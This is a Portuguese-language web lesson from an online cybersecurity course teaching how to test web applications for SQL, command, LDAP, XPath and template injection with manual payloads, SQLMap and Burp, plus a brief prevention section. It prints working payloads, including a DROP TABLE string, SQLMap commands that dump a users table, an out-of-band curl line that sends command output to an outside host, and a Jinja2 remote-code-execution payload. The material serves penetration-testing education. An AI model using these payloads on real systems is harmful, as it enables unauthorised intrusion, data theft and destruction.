0Pricing
Cyber Security Academy · Aula

Testes de Vulnerabilidades de Injeção

Use SQLMap, cargas manuais e o Burp para testar injeções de SQL, comandos e LDAP.

Testes de Vulnerabilidades de Injeção é uma aula grátis de Cyber Security Academy no CoddyKit. Esta é a aula 2 de 4. Você pode ler a aula completa abaixo gratuitamente — depois pratica ao vivo no navegador com um editor de código integrado e um tutor de IA 24/7. Faz parte do caminho de aprendizado de Cyber Security Academy, e seu progresso é sincronizado entre a web e o app CoddyKit. O curso de Cyber Security Academy inclui 4 aulas no total.

Classes de vulnerabilidades de injeção

A injeção ocorre quando dados não confiáveis são enviados a um interpretador como parte de um comando ou consulta. O interpretador não consegue distinguir dados de comandos e executa uma lógica controlada pelo invasor. Injeções de SQL, de comandos, de LDAP, de XPath e de modelos pertencem a essa classe.

Injeção de SQL: testes manuais

Comece com cargas úteis simples para investigar a possibilidade de injeção de SQL. Uma aspa simples causa um erro de sintaxe SQL em aplicações vulneráveis. Verifique mensagens de erro, diferenças no tamanho das respostas e o tempo de resposta.

# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator

# In URL:
https://target.com/item?id=1'

SQLMap para SQLi automatizado

O SQLMap automatiza a detecção e a exploração de injeções de SQL: detecta pontos de injeção, identifica o DBMS e pode extrair bancos de dados, usar read em arquivos e obter execução de código no OS em sistemas vulneráveis.

# Basic scan
sqlmap -u 'http://target.com/item?id=1'

# With Burp request file
sqlmap -r request.txt

# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs

# Dump a table
sqlmap -u '...' -D mydb -T users --dump

Teste de injeção de comandos

A injeção de comandos ocorre quando a entrada do usuário é passada para funções do shell do OS. Teste com metacaracteres do shell: ponto e vírgula, pipes, crases e substituição de comandos com $().

# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id

# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1

# Or out-of-band:
; curl http://collaborator.example.com/$(id)

Injeção de LDAP

A injeção de LDAP manipula consultas LDAP usadas para autenticação e pesquisas em diretórios. Teste os campos de autenticação com: *)(uid=*))(|(uid=* para contornar filtros.

Injeção de XPath

A injeção de XPath tem como alvo sistemas de autenticação baseados em XML. É semelhante à SQLi: as cargas úteis manipulam consultas XPath, como ' or '1'='1, para contornar a autenticação.

Injeção de modelos (SSTI)

A injeção de modelos do lado do servidor ocorre quando a entrada do usuário é renderizada em um mecanismo de modelos (Jinja2, Twig, Freemarker). Para detectá-la, injete {{7*7}}: se a resposta mostrar 49, existe SSTI.

# Detection payloads:
{{7*7}}          # Jinja2, Twig
${7*7}           # Freemarker, EL
<%= 7*7 %>      # ERB (Ruby)

# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Uso do Burp em testes de injeção

Envie solicitações ao Repeater e injete manualmente cargas úteis em cada parâmetro. Use o Intruder para automatizar testes com listas de palavras para injeção (o SecLists contém excelentes cargas úteis de injeção).

# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*

Detecção de injeção cega

Quando não há saída visível, use: atrasos de tempo para confirmar a execução, retornos DNS fora de banda (Burp Collaborator ou interactsh) e respostas baseadas em booleanos (alterações no tamanho do conteúdo).

Leitura de mensagens de erro da aplicação

Erros detalhados revelam o tipo de banco de dados, a estrutura da consulta e os caminhos dos arquivos — informações inestimáveis para criar cargas úteis precisas. Sempre teste com entradas de depuração ou que revelem erros, além das cargas úteis normais.

Referência de prevenção

A injeção é prevenida por: consultas parametrizadas (SQLi), validação de entradas e escape do shell (injeção de comandos), além de evitar a renderização de entradas do usuário em modelos (SSTI). Os desenvolvedores precisam entender essas medidas para escrever código seguro.

Verificação rápida

O que a carga útil de detecção de SSTI {{7*7}} confirma quando a resposta mostra 49?

Resumo: testes de injeção

As vulnerabilidades de injeção são causadas pela mistura de dados e comandos. Teste todas as entradas controladas pelo usuário com cargas úteis de injeção de SQL, de comandos, de modelos e de LDAP. Use o SQLMap para injeção de SQL automatizada, o Burp Repeater para testes manuais e técnicas de atraso de tempo ou OOB para exploração cega. Sempre documente as cargas úteis e as evidências no relatório.

Perguntas Frequentes

A aula “Testes de Vulnerabilidades de Injeção” é grátis?

Sim — o texto completo de “Testes de Vulnerabilidades de Injeção” é grátis para ler aqui na web. Para praticá-la interativamente (um editor de código integrado e um tutor de IA 24/7) e desbloquear o restante do curso de Cyber Security Academy, atualize para CoddyKit PRO. O curso de Cyber Security Academy inclui 4 aulas no total.

O que vou aprender em “Testes de Vulnerabilidades de Injeção”?

Use SQLMap, cargas manuais e o Burp para testar injeções de SQL, comandos e LDAP. Você pratica Cyber Security Academy com código prático que executa diretamente no navegador, e um tutor de IA 24/7 responde suas dúvidas enquanto trabalha na aula.

Preciso ter experiência prévia para começar Cyber Security Academy?

Nenhuma experiência prévia é necessária. Cyber Security Academy no CoddyKit é estruturado para alunos iniciantes até avançados, então você pode começar aqui ou desde o início e aprender no seu ritmo. Esta é a aula 2 de 4.

Quanto tempo leva a aula “Testes de Vulnerabilidades de Injeção”?

A maioria das aulas CoddyKit leva cerca de 5–10 minutos. Cada uma é compacta e interativa, então você faz progresso constante e retoma exatamente de onde parou entre web e app.

Posso escrever e executar código nesta aula de Cyber Security Academy?

Sim. Cada aula de Cyber Security Academy inclui um editor de código integrado, então você escreve e executa código real direto no navegador e recebe feedback de IA instantaneamente — nenhuma configuração local necessária.

Todas as aulas deste curso

  1. Proxy do Burp Suite e Interceptação de Requisições
  2. Testes de Vulnerabilidades de Injeção
  3. Testes de Autenticação e Sessão
  4. Vulnerabilidades de Upload de Arquivos e SSRF
← Voltar para Cyber Security Academy